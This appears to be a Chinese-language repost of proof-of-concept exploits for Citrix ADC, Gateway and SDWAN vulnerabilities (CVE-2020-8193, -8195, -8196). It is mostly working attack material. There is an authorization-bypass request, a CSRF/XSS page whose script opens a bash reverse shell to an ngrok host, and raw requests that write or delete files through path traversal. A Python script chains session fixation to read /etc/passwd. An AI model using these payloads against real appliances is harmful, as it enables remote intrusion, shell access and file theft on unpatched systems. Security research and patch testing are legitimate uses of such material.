Citrix Systems產品安全漏洞 CVE-2020-8193, CVE-2020-8195 and CVE-2020-8196 poc

時間 2020-07-11

標籤 citrix systems 產品安全漏洞 cve poc 欄目系統安全简体版

原文原文鏈接

Citrix 簡介

Citrix Systems Citrix Application Delivery Controller（ADC）等都是美國思傑系統（Citrix Systems）公司的產品。Citrix Application Delivery Controller是一款應用交付控制器。Citrix Systems Gateway（Citrix Systems NetScaler Gateway）是一套安全的遠程接入解決方案。Citrix System SDWAN WAN-OP是一款SD-WAN（虛擬軟件定義的廣域網）設備。 Citrix Systems Citrix ADC、Citrix Gateway和Citrix SDWAN WAN-OP中存在安全漏洞。攻擊者可利用該漏洞繞過權限限制。html

權限繞過payload

發送以下payload便可獲取設備最高權限python

GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: SESSID=05afba59ef8e0e35933f3bc266941337
Upgrade-Insecure-Requests: 1

讀取文件

xss to shell

利用視頻以下
git

payload 以下github

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://citrix.local/menu/stapp" method="POST">
      <input type="hidden" name="sid" value="254" />
      <input type="hidden" name="pe" value="1,2,3,4,5" />
      <input type="hidden" name="appname" value="%0a</title><script src='http://localhost:9090/code_exec.js'></script>" />
      <input type="hidden" name="au" value="1" />
      <input type="hidden" name="username" value="nsroot" />
      <input type="submit" value="Submit request" />
    </form>
  </body></html>

function load(url, callback) {
  var xhr = new XMLHttpRequest();

  xhr.onreadystatechange = function() {
    if (xhr.readyState === 4) {
      rand = callback(xhr.response);
      exec_command(rand);
    }
  }

  xhr.open('GET', url, true);
  xhr.send('');}

function get_rand(payload) {
        var lines = payload.split("\n");
        for(var i = 0; i < lines.length; i++) {
            if (lines[i].includes('var rand = "')) {
                var rand = lines[i].split('"')[1]
                return rand;
            }
        }}

function exec_command(rand) {
        url = '/rapi/remote_shell'
        command = 'bash -c \"bash -i >%26 /dev/tcp/0.tcp.ngrok.io/16588 0>%261\"'

        var obj = {
                "params":{
                        "warning":"YES"
                },
                "remote_shell":{
                        "command":command,
                        "prompt":">",
                        "target":"shell",
                        "suppress":0,
                        "execute_in_partition":""
                }
        }

        var xhr = new XMLHttpRequest();
        
        xhr.onreadystatechange = function() {
        if (xhr.readyState === 4) {
                response = JSON.parse(xhr.response);
                alert(response['remote_shell']['output']);
        }
        }

        xhr.open('POST', url, true);
        xhr.setRequestHeader('rand_key', rand)
        xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
        xhr.send('object=' + JSON.stringify(obj));

}

var url = '/menu/stc';load(url, get_rand)

寫入文件payload

POST /rapi/uploadtext HTTP/1.1Host: citrix.localUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://citrix.local/menu/neoDNT: 1rand_key: 331543635.1580073639558554Connection: closeCookie: startupapp=neo; is_cisco_platform=0; st_splitter=350px; SESSID=05afba59ef8e0e35933f3bc266941337; rdx_pagination_size=25%20Per%20PageUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 99

object={"uploadtext":{"filedir":"/tmp","filedata":"test","filename":"test.txt"}}

刪除文件

POST /rapi/filedownload?filter=remove:1,path:%2ftmp%2ftest HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/menu/neo
If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
rand_key: 2061490565.1580290269373855
DNT: 1
X-NITRO-USER: henk
X-NITRO-PASS: henk
Connection: close
Cookie: startupapp=neo; is_cisco_platform=0; st_splitter=350px; rdx_pagination_size=25%20Per%20Page; SESSID=05afba59ef8e0e35933f3bc266941337
Content-Type: application/xml
Content-Length: 31

<clipermission></clipermission>

刪除文件夾

POST /rapi/movelicensefiles HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/menu/neo
If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
DNT: 1
Content-Type: application/x-www-form-urlencoded
Cookie: SESSID=9ed492e6ff1876d44ddcaec143d2f949
rand_key: 1384537322.1580549312074652
Content-Length: 52

object={"movelicensefiles":{"name":"../netscaler/portal/modules/STAT"}}

建立文件夾

POST /rapi/uploadtext HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/menu/neo
DNT: 1
rand_key: 1467045781.1580550597345443
X-NITRO-USER: henk
X-NITRO-PASS: henk
Connection: close
Cookie: startupapp=neo; is_cisco_platform=0; st_splitter=350px; SESSID=05afba59ef8e0e35933f3bc266941337; rdx_pagination_size=25%20Per%20Page
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 114

object={"uploadtext":{"filedir":false,"filedata":"data","filename":"/var/tmp/new_directory/this_will_be_removed"}}

利用工具

#!/usr/bin/env python
import requestsimport sysimport stringimport randomimport jsonfrom urllib.parse import quote

# Slashes need to be urlencoded
PAYLOAD='%2fetc%2fpasswd'

requests.packages.urllib3.disable_warnings()

def random_string(length=8):
        chars = string.ascii_letters + string.digits
        random_string = ''.join(random.choice(chars) for x in range(length))
        return random_string

def create_session(base_url, session):
        url = '{0}/pcidss/report'.format(base_url)

        params = {
                'type':'allprofiles',
                'sid':'loginchallengeresponse1requestbody',
                'username':'nsroot',
                'set':'1'
        }

        headers = {
                'Content-Type':'application/xml',
                'X-NITRO-USER':random_string(),
                'X-NITRO-PASS':random_string(),
        }

        data = '<appfwprofile><login></login></appfwprofile>'
        
        session.post(url=url, params=params, headers=headers, data=data, verify=False)
        return session

def fix_session(base_url, session):
        url = '{0}/menu/ss'.format(base_url)

        params = {
                'sid':'nsroot',
                'username':'nsroot',
                'force_setup':'1'
        }

        session.get(url=url, params=params, verify=False)

def get_rand(base_url, session):
        url = '{0}/menu/stc'.format(base_url)
        r = session.get(url=url, verify=False)

        for line in r.text.split('\n'):
                if 'var rand =' in line:
                        rand = line.split('"')[1]
                        return rand

def do_lfi(base_url, session, rand):
        url = '{0}/rapi/filedownload?filter=path:{1}'.format(base_url, PAYLOAD)

        headers = {
                'Content-Type':'application/xml',
                'X-NITRO-USER':random_string(),
                'X-NITRO-PASS':random_string(),
                'rand_key':rand
        }

        data = '<clipermission></clipermission>'

        r = session.post(url=url, headers=headers, data=data, verify=False)
        print (r.text)

def main(base_url):
        print ('[-] Creating session..')
        session = requests.Session()
        create_session(base_url, session)
        print ('[+] Got session: {0}'.format(session.cookies.get_dict()['SESSID']))

        print('[-] Fixing session..')
        fix_session(base_url, session)

        print ('[-] Getting rand..')
        rand = get_rand(base_url, session)
        print ('[+] Got rand: {0}'.format(rand))

        print ('[-] Re-breaking session..')
        create_session(base_url, session)

        print ('[-] Getting file..')
        do_lfi(base_url, session, rand)

if __name__ == '__main__':
        base_url = sys.argv[1]
        main(base_url)

參考

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